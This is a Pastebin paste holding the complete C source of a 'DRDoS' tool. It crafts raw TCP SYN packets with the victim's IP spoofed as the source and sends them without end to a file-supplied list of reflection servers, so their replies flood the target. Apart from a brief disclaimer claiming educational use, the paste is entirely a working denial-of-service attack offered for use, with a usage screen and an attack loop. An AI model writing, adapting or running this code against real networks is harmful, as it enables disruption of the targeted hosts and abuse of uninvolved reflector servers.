Guest User

Untitled

a guest
Jun 14th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.48 KB | None | 0 0
  1. /**************************************************************************/
  2. /* DRDoS - Distributed Reflection Denial of Service tool */
  3. /* */
  4. /* Disclaimer - You must be ROOT to use RAW socket. */
  5. /* This program is for educational purposes only and */
  6. /* network testing ON YOUR OWN NETWORK! Do not use it */
  7. /* for malicious purposes! */
  8. /* I am in NO way responsible for what you do with this */
  9. /* program, or any damage you or this program causes. */
  10. /* Compiling - gcc -o DRDoS DRDoS.c */
  11. /* */
  12. /* Usage - Usage is described in the welcome screen of this program when */
  13. /* running it without arguments */
  14. /**************************************************************************/
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <unistd.h>
  19. #include <string.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <arpa/inet.h>
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/tcp.h>
  26. #include <netdb.h>
  27.  
  28. #define IPHDRSIZE sizeof(struct iphdr)
  29. #define TCPHDRSIZE sizeof(struct tcphdr)
  30. #define PSEUDOHDRSIZE sizeof(struct pseudohdr)
  31.  
  32. struct pseudohdr
  33. {
  34. unsigned long saddr;
  35. unsigned long daddr;
  36. char useless;
  37. unsigned char protocol;
  38. unsigned short length;
  39. };
  40. struct forcksum
  41. {
  42. struct pseudohdr pseudo;
  43. struct tcphdr tcp;
  44. };
  45.  
  46. unsigned short in_cksum(unsigned short * addr,int len);
  47. int main(int argc,char * argv[]);
  48.  
  49. int main(int argc,char * argv[])
  50. {
  51. int val;
  52.  
  53. char fname[1000];
  54. FILE * list;
  55.  
  56. char * packet;
  57. struct iphdr * ip;
  58. struct tcphdr * tcp;
  59. struct forcksum helpcksum;
  60.  
  61. int serverfd;
  62. struct sockaddr_in server;
  63.  
  64. char saddr[100],daddr[100];
  65. unsigned short a,b,c,d,sport,dport,tport;
  66.  
  67. if (argc != 3)
  68. {
  69. printf("\nDistributed Reflection DoS tool\n");
  70. printf("Usage: %s <list> <target IP>\n\n",argv[0]);
  71. printf(" -list : Path to Zombies (\"Reflection Servers\") list file\n");
  72. printf(" -target IP: IP address of target\n\n");
  73. printf("*** Syntax of list file ***\n");
  74. printf(" -Each line contains 1 zombie's information\n");
  75. printf(" -Each zombie is described by 5 numbers:\n");
  76. printf(" 4 octets of IP address (without '.') and Port number\n");
  77. printf(" -Numbers are seperated by at least 1 blank character (' ')\n");
  78. printf("Example: 203 162 56 78 80\n");
  79. printf(" => IP: 203.162.56.78 || Port: 80\n\n");
  80. printf("Good luck! Thanks for using this tool!\n\n");
  81. exit(-1);
  82. }
  83. else
  84. {
  85. sprintf(fname,"%s",argv[1]);
  86. sprintf(saddr,"%s",argv[2]);
  87. sprintf(daddr,"%s",argv[2]);
  88. tport = random() % 10000;
  89. sport = tport;
  90. dport = tport;
  91. }
  92.  
  93. if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
  94. {
  95. printf("Error: malloc()\n");
  96. exit(-1);
  97. }
  98.  
  99. bzero(packet,sizeof(packet));
  100. bzero(&helpcksum,sizeof(helpcksum));
  101.  
  102. ip = (struct iphdr *)packet;
  103. tcp = (struct tcphdr *)(packet + IPHDRSIZE);
  104.  
  105. helpcksum.pseudo.saddr = inet_addr(saddr);
  106. helpcksum.pseudo.daddr = inet_addr(daddr);
  107. helpcksum.pseudo.useless = 0;
  108. helpcksum.pseudo.protocol = IPPROTO_TCP;
  109. helpcksum.pseudo.length = htons(TCPHDRSIZE);
  110.  
  111. tcp->source = htons(sport);
  112. tcp->dest = htons(dport);
  113. tcp->seq = htonl(random());
  114. tcp->ack_seq = 0;
  115. tcp->doff = 5;
  116. tcp->fin = 0;
  117. tcp->syn = 1;
  118. tcp->rst = 0;
  119. tcp->psh = 0;
  120. tcp->ack = 0;
  121. tcp->window = htons(65535);
  122. tcp->urg_ptr = 0;
  123. tcp->check = 0;
  124. helpcksum.tcp = *tcp;
  125. tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
  126.  
  127. ip->ihl = 5;
  128. ip->version = 4;
  129. ip->tos = 0;
  130. ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
  131. ip->id = random();
  132. ip->ttl = 255;
  133. ip->protocol = IPPROTO_TCP;
  134. ip->saddr = inet_addr(saddr);
  135. ip->daddr = inet_addr(daddr);
  136. ip->check = 0;
  137. ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);
  138.  
  139. if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
  140. {
  141. printf("Error: socket()\n");
  142. exit(-1);
  143. }
  144.  
  145. setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));
  146.  
  147. bzero(&server,sizeof(struct sockaddr));
  148. server.sin_family = AF_INET;
  149.  
  150. if ((list = fopen(fname,"r")) == NULL)
  151. {
  152. printf("Error: cannot open file\n");
  153. exit(-1);
  154. }
  155. fscanf(list,"%hu",&a);
  156. if (feof(list))
  157. {
  158. printf("Error: empty list\n");
  159. fclose(list);
  160. exit(-1);
  161. }
  162. fclose(list);
  163.  
  164. printf("\nAttacking %s...\n\n",argv[2]);
  165. printf("Press <Ctrl-C> to Stop.\n");
  166.  
  167. while (1)
  168. {
  169. list = fopen(fname,"r");
  170.  
  171. while (!feof(list))
  172. {
  173. fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);
  174.  
  175. sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);
  176.  
  177. helpcksum.pseudo.daddr = inet_addr(daddr);
  178.  
  179. ip->daddr = inet_addr(daddr);
  180. ip->id = random();
  181. ip->check = 0;
  182.  
  183. dport = tport;
  184.  
  185. tcp->source = htons(random() % 10000);
  186. tcp->dest = htons(dport);
  187. tcp->seq = htonl(random());
  188. tcp->check = 0;
  189. helpcksum.tcp = *tcp;
  190.  
  191. tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
  192. ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);
  193.  
  194. server.sin_addr.s_addr = inet_addr(daddr);
  195. server.sin_port = htons(dport);
  196.  
  197. sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));
  198.  
  199. usleep(100);
  200. }
  201.  
  202. fclose(list);
  203. }
  204.  
  205. close(serverfd);
  206. return 0;
  207. }
  208.  
  209. unsigned short in_cksum(unsigned short * addr,int len)
  210. {
  211. register int sum = 0;
  212. u_short answer = 0;
  213. register u_short * w = addr;
  214. register int nleft = len;
  215. while (nleft > 1)
  216. {
  217. sum += *w++;
  218. nleft -= 2;
  219. }
  220. if (nleft == 1)
  221. {
  222. *(u_char *)(&answer) = *(u_char *)w;
  223. sum += answer;
  224. }
  225. sum = (sum >> 16) + (sum & 0xffff);
  226. sum += (sum >> 16);
  227. answer = ~sum;
  228. return answer;
  229. }
Add Comment
Please, Sign In to add comment